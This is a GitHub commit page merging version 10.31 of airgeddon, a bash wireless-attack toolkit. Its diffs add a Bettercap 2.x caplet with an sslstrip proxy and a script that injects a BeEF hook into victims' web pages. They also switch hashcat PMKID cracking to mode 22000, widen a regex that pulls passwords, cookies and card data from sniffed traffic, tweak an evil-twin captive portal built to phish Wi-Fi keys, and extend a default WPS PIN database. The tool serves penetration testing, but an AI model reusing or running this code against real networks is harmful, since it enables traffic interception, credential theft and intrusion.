Skip to content

Commit

Permalink
Merge pull request #411 from v1s1t0r1sh3r3/dev
Browse files Browse the repository at this point in the history
Dev to master v10.31
  • Loading branch information
OscarAkaElvis authored Dec 14, 2020
2 parents f94763e + 29038fb commit adeefba
Show file tree
Hide file tree
Showing 12 changed files with 265 additions and 171 deletions.
8 changes: 8 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,11 @@
### 10.31
- Fixed error of no returning to DoS menu after fail on handshake capture for Evil Twin Captive portal attack
- Fixed error of no returning to Evil Twin main menu for some special situations on BeEF attack
- Removed deprecated hcxpcaptool, replaced by hcxpcapngtool
- Replaced old PMKID hash format to be used in hashcat, from 16800 to 22000
- Improved responsive behaviour of Evil Twin Captive Portal web page
- Compatibility extended to Bettercap 2.x (>=2.28) for sslstrip2/BeEF Evil Twin attack

### 10.30
- Fixed error on internet interface selection menu when no number provided
- Fixed BeEF error due forced config file changes for some versions
Expand Down
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -104,7 +104,7 @@ All the needed info about how to "install | use | enjoy" `airgeddon` is present
[Hat Tip To]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Hat%20Tip%20To
[Inspiration]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Inspiration

[Version-shield]: https://img.shields.io/badge/version-10.30-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
[Version-shield]: https://img.shields.io/badge/version-10.31-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
[Bash4.2-shield]: https://img.shields.io/badge/bash-4.2%2B-blue.svg?style=flat-square&colorA=273133&colorB=00db00 "Bash 4.2 or later"
[License-shield]: https://img.shields.io/badge/license-GPL%20v3%2B-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "GPL v3+"
[Docker-shield]: https://img.shields.io/docker/cloud/automated/v1s1t0r1sh3r3/airgeddon.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!"
Expand Down
129 changes: 106 additions & 23 deletions airgeddon.sh
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
#Title........: airgeddon.sh
#Description..: This is a multi-use bash script for Linux systems to audit wireless networks.
#Author.......: v1s1t0r
#Version......: 10.30
#Version......: 10.31
#Usage........: bash airgeddon.sh
#Bash Version.: 4.2 or later

Expand Down Expand Up @@ -70,7 +70,7 @@ optional_tools_names=(
"asleap"
"john"
"openssl"
"hcxpcaptool"
"hcxpcapngtool"
"hcxdumptool"
"tshark"
)
Expand Down Expand Up @@ -121,7 +121,7 @@ declare -A possible_package_names=(
[${optional_tools_names[21]}]="asleap" #asleap
[${optional_tools_names[22]}]="john" #john
[${optional_tools_names[23]}]="openssl" #openssl
[${optional_tools_names[24]}]="hcxtools" #hcxpcaptool
[${optional_tools_names[24]}]="hcxtools" #hcxpcapngtool
[${optional_tools_names[25]}]="hcxdumptool" #hcxdumptool
[${optional_tools_names[26]}]="tshark / wireshark-cli / wireshark" #tshark
[${update_tools[0]}]="curl" #curl
Expand All @@ -133,8 +133,8 @@ declare -A possible_alias_names=(
)

#General vars
airgeddon_version="10.30"
language_strings_expected_version="10.30-1"
airgeddon_version="10.31"
language_strings_expected_version="10.31-1"
standardhandshake_filename="handshake-01.cap"
standardpmkid_filename="pmkid_hash.txt"
standardpmkidcap_filename="pmkid.cap"
Expand Down Expand Up @@ -173,7 +173,7 @@ aircrack_pmkid_version="1.4"
hashcat3_version="3.0"
hashcat4_version="4.0.0"
hashcat_hccapx_version="3.40"
minimum_hashcat_pmkid_version="4.2.0"
minimum_hashcat_pmkid_version="6.0.0"
hashcat_tmp_simple_name_file="hctmp"
hashcat_tmp_file="${hashcat_tmp_simple_name_file}.hccap"
hashcat_pot_tmp="${hashcat_tmp_simple_name_file}.pot"
Expand Down Expand Up @@ -260,10 +260,13 @@ bettercap_proxy_port="8080"
bettercap_dns_port="5300"
minimum_bettercap_advanced_options="1.5.9"
minimum_bettercap_fixed_beef_iptables_issue="1.6.2"
maximum_bettercap_supported_version="1.6.2"
bettercap2_version="2.0"
bettercap2_sslstrip_working_version="2.28"
sslstrip_file="ag.sslstrip.log"
ettercap_file="ag.ettercap.log"
bettercap_file="ag.bettercap.log"
bettercap_config_file="ag.bettercap.cap"
bettercap_hook_file="ag.bettercap.js"
beef_port="3000"
beef_control_panel_url="http://${loopback_ip}:${beef_port}/ui/panel"
jshookfile="hook.js"
Expand Down Expand Up @@ -5433,6 +5436,8 @@ function clean_tmpfiles() {
rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1
rm -rf "${tmpdir}${ettercap_file}"* > /dev/null 2>&1
rm -rf "${tmpdir}${bettercap_file}"* > /dev/null 2>&1
rm -rf "${tmpdir}${bettercap_config_file}" > /dev/null 2>&1
rm -rf "${tmpdir}${bettercap_hook_file}" > /dev/null 2>&1
rm -rf "${tmpdir}${beef_file}" > /dev/null 2>&1
if [ "${beef_found}" -eq 1 ]; then
rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1
Expand Down Expand Up @@ -6029,7 +6034,7 @@ function beef_pre_menu() {
if check_interface_wifi "${interface}"; then
et_mode="et_sniffing_sslstrip2"
get_bettercap_version
if compare_floats_greater_than "${bettercap_version}" "${maximum_bettercap_supported_version}"; then
if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}" && ! compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_sslstrip_working_version}"; then
echo
language_strings "${language}" 174 "red"
language_strings "${language}" 115 "read"
Expand Down Expand Up @@ -7099,6 +7104,12 @@ function check_bssid_in_captured_file() {
return 0
else
if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "only_handshake" ]]; then
echo
language_strings "${language}" 323 "red"
language_strings "${language}" 115 "read"
fi
if [[ "${2}" = "showing_msgs_checking" ]] && [[ "${3}" = "also_pmkid" ]]; then
echo
language_strings "${language}" 323 "red"
language_strings "${language}" 115 "read"
fi
Expand Down Expand Up @@ -7229,7 +7240,7 @@ function validate_pmkid_hashcat_file() {
readarray -t HASHCAT_LINES_TO_VALIDATE < <(cat "${1}" 2> /dev/null)

for item in "${HASHCAT_LINES_TO_VALIDATE[@]}"; do
if [[ ! "${item}" =~ ^[a-zA-Z0-9]{32}\*[a-zA-Z0-9]{12}\*.*$ ]]; then
if [[ ! "${item}" =~ ^WPA\*[0-9]{2}\*[0-9a-fA-F]{32}\*([0-9a-fA-F]{12}\*){2}[0-9a-fA-F]{26,28}\*{3}$ ]]; then
language_strings "${language}" 676 "red"
language_strings "${language}" 115 "read"
return 1
Expand Down Expand Up @@ -8475,7 +8486,7 @@ function exec_hashcat_dictionary_attack() {
elif [ "${1}" = "personal_pmkid" ]; then
tmpfiles_toclean=1
rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1
hashcat_cmd="hashcat -m 16800 -a 0 \"${hashcatpmkidenteredpath}\" \"${DICTIONARY}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
hashcat_cmd="hashcat -m 22000 -a 0 \"${hashcatpmkidenteredpath}\" \"${DICTIONARY}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
else
tmpfiles_toclean=1
rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1
Expand All @@ -8495,7 +8506,7 @@ function exec_hashcat_bruteforce_attack() {
elif [ "${1}" = "personal_pmkid" ]; then
tmpfiles_toclean=1
rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1
hashcat_cmd="hashcat -m 16800 -a 3 \"${hashcatpmkidenteredpath}\" ${charset} --increment --increment-min=${minlength} --increment-max=${maxlength} --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
hashcat_cmd="hashcat -m 22000 -a 3 \"${hashcatpmkidenteredpath}\" ${charset} --increment --increment-min=${minlength} --increment-max=${maxlength} --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
else
tmpfiles_toclean=1
rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1
Expand All @@ -8515,7 +8526,7 @@ function exec_hashcat_rulebased_attack() {
elif [ "${1}" = "personal_pmkid" ]; then
tmpfiles_toclean=1
rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1
hashcat_cmd="hashcat -m 16800 -a 0 \"${hashcatpmkidenteredpath}\" \"${DICTIONARY}\" -r \"${RULES}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
hashcat_cmd="hashcat -m 22000 -a 0 \"${hashcatpmkidenteredpath}\" \"${DICTIONARY}\" -r \"${RULES}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
else
tmpfiles_toclean=1
rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1
Expand Down Expand Up @@ -8845,6 +8856,52 @@ function exec_et_captive_portal_attack() {
clean_tmpfiles
}
#Create configuration files for bettercap
function set_bettercap_config() {
debug_print
tmpfiles_toclean=1
rm -rf "${tmpdir}${bettercap_config_file}" > /dev/null 2>&1
rm -rf "${tmpdir}${bettercap_hook_file}" > /dev/null 2>&1
{
echo -e "set http.proxy.port ${bettercap_proxy_port}"
echo -e "set http.proxy.script ${bettercap_hook_file}"
echo -e "set http.proxy.sslstrip true"
echo -e "http.proxy on\n"
echo -e "set net.sniff.verbose true"
echo -e "net.recon on"
echo -e "net.sniff on\n"
echo -e "events.stream off"
echo -e "set events.stream.http.request.dump true\n"
echo -e "events.ignore net.sniff.http.response"
echo -e "events.ignore http.proxy.spoofed-response"
echo -e "events.ignore net.sniff.dns"
echo -e "events.ignore net.sniff.tcp"
echo -e "events.ignore net.sniff.udp"
echo -e "events.ignore net.sniff.mdns"
echo -e "events.ignore net.sniff.sni"
echo -e "events.ignore net.sniff.https\n"
echo -e "events.stream on"
} >> ${tmpdir}${bettercap_config_file}
{
echo -e "function onLoad() {"
echo -e "\tlog('BeefInject loaded.');"
echo -e "\tlog('targets: ' + env['arp.spoof.targets']);"
echo -e "}\n"
echo -e "function onResponse(req, res) {"
echo -e "\tif (res.ContentType.indexOf('text/html') == 0) {"
echo -e "\t\tvar body = res.ReadBody();"
echo -e "\t\tif (body.indexOf('</head>') != -1) {"
echo -e "\t\t\tres.Body = body.replace('</head>', '<script type=\"text/javascript\" src=\"http://${et_ip_router}:${beef_port}/${jshookfile}\"></script></head>');"
echo -e "\t\t}"
echo -e "\t}"
echo -e "}"
} >> ${tmpdir}${bettercap_hook_file}
}
#Create configuration file for hostapd
function set_hostapd_config() {
Expand Down Expand Up @@ -10405,6 +10462,11 @@ function set_captive_portal_page() {
echo -e "#showpass {"
echo -e "\tvertical-align: top;"
echo -e "}\n"
echo -e "@media screen (min-width: 1000px) {"
echo -e "\t.content {"
echo -e "\t\twidth: 50%;"
echo -e "\t}"
echo -e "}\n"
} >> "${tmpdir}${webdir}${cssfile}"

{
Expand Down Expand Up @@ -10441,6 +10503,7 @@ function set_captive_portal_page() {
echo -e "echo '<!DOCTYPE html>'"
echo -e "echo '<html>'"
echo -e "echo -e '\t<head>'"
echo -e "echo -e '\t\t<meta name=\"viewport\" content=\"width=device-width\"/>'"
echo -e "echo -e '\t\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>'"
echo -e "echo -e '\t\t<title>${et_misc_texts[${captive_portal_language},15]}</title>'"
echo -e "echo -e '\t\t<link rel=\"stylesheet\" type=\"text/css\" href=\"${cssfile}\"/>'"
Expand Down Expand Up @@ -10952,14 +11015,25 @@ function launch_bettercap_sniffing() {
recalculate_windows_sizes
sniffing_scr_window_position=${g4_bottomright_window}

if compare_floats_greater_or_equal "${bettercap_version}" "${minimum_bettercap_advanced_options}"; then
bettercap_extra_cmd_options="--disable-parsers URL,HTTPS,DHCP --no-http-logs"
fi
if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}"; then

bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}"
set_bettercap_config

if [ ${bettercap_log} -eq 1 ]; then
bettercap_cmd+=" -O \"${tmp_bettercaplog}\""
bettercap_cmd="bettercap -iface ${interface} -no-history -caplet ${tmpdir}${bettercap_config_file}"

if [ ${bettercap_log} -eq 1 ]; then
bettercap_cmd+=" | tee ${tmp_bettercaplog}"
fi
else
if compare_floats_greater_or_equal "${bettercap_version}" "${minimum_bettercap_advanced_options}"; then
bettercap_extra_cmd_options="--disable-parsers URL,HTTPS,DHCP --no-http-logs"
fi

bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}"

if [ ${bettercap_log} -eq 1 ]; then
bettercap_cmd+=" -O \"${tmp_bettercaplog}\""
fi
fi

manage_output "-hold -bg \"#000000\" -fg \"#FFFF00\" -geometry ${sniffing_scr_window_position} -T \"Sniffer+Bettercap-Sslstrip2/BeEF\"" "${bettercap_cmd}" "Sniffer+Bettercap-Sslstrip2/BeEF"
Expand Down Expand Up @@ -11022,7 +11096,15 @@ function parse_bettercap_log() {
echo
language_strings "${language}" 304 "blue"

local regexp='USER|PASS|CREDITCARD|COOKIE|PWD|USUARIO|CONTRASE'
if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}"; then
sed -Ei 's/\x1b\[[0-9;]*m.+\x1b\[[0-9;]K//g' "${tmp_bettercaplog}"
sed -Ei 's/\x1b\[[0-9;]*m|\x1b\[J|\x1b\[[0-9;]K|\x8|\xd//g' "${tmp_bettercaplog}"
sed -Ei 's/.*»//g' "${tmp_bettercaplog}"
sed -Ei 's/^[[:blank:]]*//g' "${tmp_bettercaplog}"
sed -Ei '/^$/d' "${tmp_bettercaplog}"
fi

local regexp='USER|UNAME|PASS|CREDITCARD|COOKIE|PWD|USUARIO|CONTRASE|CORREO|MAIL|NET.SNIFF.HTTP.REQUEST.*POST|HTTP\].*POST'
local regexp2='USER-AGENT|COOKIES|BEEFHOOK'
readarray -t BETTERCAPLOG < <(cat < "${tmp_bettercaplog}" 2> /dev/null | grep -E -i ${regexp} | grep -E -vi ${regexp2})

Expand All @@ -11042,7 +11124,7 @@ function parse_bettercap_log() {
pass_counter=0
captured_cookies=()
for cpass in "${BETTERCAPLOG[@]}"; do
if [[ ${cpass} =~ COOKIE ]]; then
if [[ ${cpass^^} =~ ${regexp^^} ]]; then
repeated_cookie=0
for item in "${captured_cookies[@]}"; do
if [ "${item}" = "${cpass}" ]; then
Expand Down Expand Up @@ -12087,7 +12169,7 @@ function launch_pmkid_capture() {
manage_output "+j -sb -rightbar -bg \"#000000\" -fg \"#FFC0CB\" -geometry ${g1_topright_window} -T \"Capturing PMKID\"" "timeout -s SIGTERM ${timeout_capture_pmkid} hcxdumptool -i ${interface} --enable_status=1 ${hcxdumptool_filter}${tmpdir}target.txt --filtermode=2 -o ${tmpdir}pmkid.pcapng" "Capturing PMKID" "active"
wait_for_process "timeout -s SIGTERM ${timeout_capture_pmkid} hcxdumptool -i ${interface} --enable_status=1 ${hcxdumptool_filter}${tmpdir}target.txt --filtermode=2 -o ${tmpdir}pmkid.pcapng" "Capturing PMKID"

if hcxpcaptool -z "${tmpdir}${standardpmkid_filename}" "${tmpdir}pmkid.pcapng" | grep -q "PMKID(s) written" 2> /dev/null; then
if hcxpcapngtool -o "${tmpdir}${standardpmkid_filename}" "${tmpdir}pmkid.pcapng" | grep -Eq "PMKID(\(s\))? written" 2> /dev/null; then
pmkidpath="${default_save_path}"
pmkidfilename="pmkid-${bssid}.txt"
pmkidpath="${pmkidpath}${pmkidfilename}"
Expand Down Expand Up @@ -12731,8 +12813,8 @@ function et_prerequisites() {
msg_mode="showing_msgs_checking"

if [[ ${yesno} = "n" ]] || [[ ${retrying_handshake_capture} -eq 1 ]]; then
capture_handshake_evil_twin
msg_mode="silent"
capture_handshake_evil_twin
case "$?" in
"2")
retry_handshake_capture=1
Expand Down Expand Up @@ -12768,6 +12850,7 @@ function et_prerequisites() {
return_to_enterprise_main_menu=1
else
return_to_et_main_menu=1
return_to_et_main_menu_from_beef=1
fi
return
fi
Expand Down Expand Up @@ -15078,7 +15161,7 @@ function parse_plugins() {

#shellcheck source=./plugins/missing_dependencies.sh
source "${file}"
if [ ${plugin_enabled} -eq 1 ]; then
if [ "${plugin_enabled}" -eq 1 ]; then
validate_plugin_requirements
plugin_validation_result=$?
if [ "${plugin_validation_result}" -eq 0 ]; then
Expand Down
Binary file removed binaries/arch/airgeddon-git-10.30-1-any.pkg.tar.zst
Binary file not shown.
Binary file not shown.
Binary file removed binaries/kali/airgeddon_10.30-1_all.deb
Binary file not shown.
Binary file added binaries/kali/airgeddon_10.31-1_all.deb
Binary file not shown.
Binary file modified imgs/wiki/airgeddon_scrs1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
11 changes: 7 additions & 4 deletions known_pins.db
Original file line number Diff line number Diff line change
Expand Up @@ -187,7 +187,7 @@ function set_pin_database() {
PINDB["28C68E"]="27161395"
PINDB["2C4D54"]="09103214"
PINDB["2C56DC"]="41052068"
PINDB["2C957F"]="07144721"
PINDB["2C957F"]="07144721 12345670"
PINDB["2CAB25"]="12345670 47888777 34412916 18625790 14393426 10847138 70205404 33736082"
PINDB["2CAEE4"]="21464065"
PINDB["2CB05D"]="27257210 52231858 11534624 72522233 19537511 42375852 70092523 17054850 87205732 11239208 74155279 87221541 92085251 52718380 46218230 09820852 23950313 07753695 42375852 75863869 12090006 37523077 06686635 45476013 38941476 54510555 33033631 12523146"
Expand All @@ -200,6 +200,7 @@ function set_pin_database() {
PINDB["34080F"]="56364675"
PINDB["344B50"]="13419622"
PINDB["344DEA"]="87972122"
PINDB["345760"]="18297492 29342273"
PINDB["3497F6"]="43218141"
PINDB["34BA9A"]="73235880"
PINDB["34CDBE"]="09656802"
Expand Down Expand Up @@ -231,6 +232,7 @@ function set_pin_database() {
PINDB["5404A6"]="69923326 31028325 38014789"
PINDB["5422F8"]="12345670"
PINDB["5465DE"]="65979754"
PINDB["546751"]="95755212 64874487 58945537 79082020 12345670 47385580"
PINDB["546EFC"]="02917092"
PINDB["54B80A"]="48616584"
PINDB["54BEF7"]="19280066 82585297"
Expand Down Expand Up @@ -325,6 +327,7 @@ function set_pin_database() {
PINDB["841B5E"]="78100053 21120374 48062435 06042547 07017643 29167012 73312055 11996361"
PINDB["84742B"]="12345670"
PINDB["849CA6"]="12345670"
PINDB["84AA9C"]="18297492 29342273"
PINDB["84C9B2"]="84257123 12345670 27786598 28037286 44163334"
PINDB["880355"]="18575675"
PINDB["88252C"]="35642596 03526859"
Expand Down Expand Up @@ -379,7 +382,7 @@ function set_pin_database() {
PINDB["B05B67"]="30366367 31187688"
PINDB["B06EBF"]="64327709"
PINDB["B0B2DC"]="47866591"
PINDB["B246FC"]="96799208"
PINDB["B246FC"]="96799208 18297492 29342273"
PINDB["B40C2A"]="75033941"
PINDB["B4749F"]="23659391"
PINDB["B60D75"]="19309972"
Expand Down Expand Up @@ -440,7 +443,7 @@ function set_pin_database() {
PINDB["D85D4C"]="73448907 13262204 11997870"
PINDB["D86194"]="71537573 10009321 31348034 18794786 15738370 18546774 47415270 63742336 93782302"
PINDB["D86CE9"]="10864111 20172527 15624697"
PINDB["D8B6B7"]="49385052 12715657 66131533 96567111 18811728 20172527 16035232 18836486 19117652 37356569"
PINDB["D8B6B7"]="49385052 12715657 66131533 96567111 18811728 20172527 16035232 18836486 19117652 37356569 17404020"
PINDB["D8EB97"]="31850483"
PINDB["D8FB5E"]="20859978"
PINDB["DC028E"]="13419622"
Expand All @@ -454,7 +457,7 @@ function set_pin_database() {
PINDB["E09115"]="42764199"
PINDB["E091F5"]="37380342 82234577 49945386 12345670 59584094"
PINDB["E0CB4E"]="62987523 49884388"
PINDB["E24136"]="89817841 29612000 19107011 92008601 15763297"
PINDB["E24136"]="89817841 29612000 19107011 92008601 15763297 18297492 29342273"
PINDB["E43ED7"]="29187386 60551085 07281808 78232099 37706937 12345670"
PINDB["E46F13"]="25753257"
PINDB["E4C146"]="71537573 10009321 31348034 18794786 15738370 18546774 47415270 63742336 93782302 24248907 63668346 96453780 00000001"
Expand Down
Loading

0 comments on commit adeefba

Please sign in to comment.